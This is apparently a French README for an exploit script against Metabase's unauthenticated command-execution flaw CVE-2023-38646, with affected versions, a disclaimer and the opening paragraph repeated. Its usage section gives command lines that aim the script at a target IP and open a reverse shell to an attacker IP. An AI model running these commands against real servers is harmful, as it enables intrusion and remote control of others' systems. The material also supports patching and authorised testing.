Metabase open source avant 0.46.6.1 et Metabase Enterprise avant 1.46.6.1 permettent aux attaquants d'exécuter des commandes arbitraires sur le serveur, avec le niveau de privilège du serveur. L'authentification n'est pas requise pour l'exploitation. Les autres versions corrigées sont 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 et 1.43.7.2.
Metabase open source avant 0.46.6.1 et Metabase Enterprise avant 1.46.6.1 permettent aux attaquants d'exécuter des commandes arbitraires sur le serveur, au niveau de privilège du serveur. L'authentification n'est pas requise pour l'exploitation. Les autres versions corrigées sont 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 et 1.43.7.2.
La vulnérabilité réside dans l'application exposant le setup-token qui peut être utilisé pour valider la base de données via api/setup/validate. Un utilisateur non autorisé peut créer un code malveillant et exécuter une commande arbitraire.
UTILISATION À VOS PROPRES RISQUES
Ce script est fourni à des fins éducatives et de test. L'auteur n'est pas responsable de toute mauvaise utilisation ou des dommages causés par son utilisation. Assurez-vous de respecter les lois applicables et les normes éthiques. En utilisant ce script, vous reconnaissez et acceptez ces conditions.
Metabase est un outil de business intelligence open source qui permet de créer des graphiques et des tableaux de bord à partir de données provenant de diverses bases de données et sources de données. C'est un projet populaire, avec plus de 33 000 étoiles sur GitHub, et il a fait l'objet de nombreuses analyses du point de vue de la recherche en vulnérabilités ces dernières années.
usage: CVE-2023-38646.py [-h] -rh REMOTE_HOST [-rp [REMOTE_PORT]] -p PORT -l LOCAL_HOST
options:
-h, --help affiche ce message d'aide et quitte
-rh REMOTE_HOST, --remote-host REMOTE_HOST
Nom d'hôte de la cible.
-rp [REMOTE_PORT], --remote-port [REMOTE_PORT]
Port de la machine cible (par défaut : port 80)
-p PORT, --port PORT Port pour le reverse shell.
-l LOCAL_HOST, --local-host LOCAL_HOST
Votre adresse IP
Vous pouvez exécuter le script en utilisant la commande ci-dessous. Vous pouvez changer le port distant en utilisant l'option -rp. Le port par défaut est 80.
./CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>
python3 CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>

Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2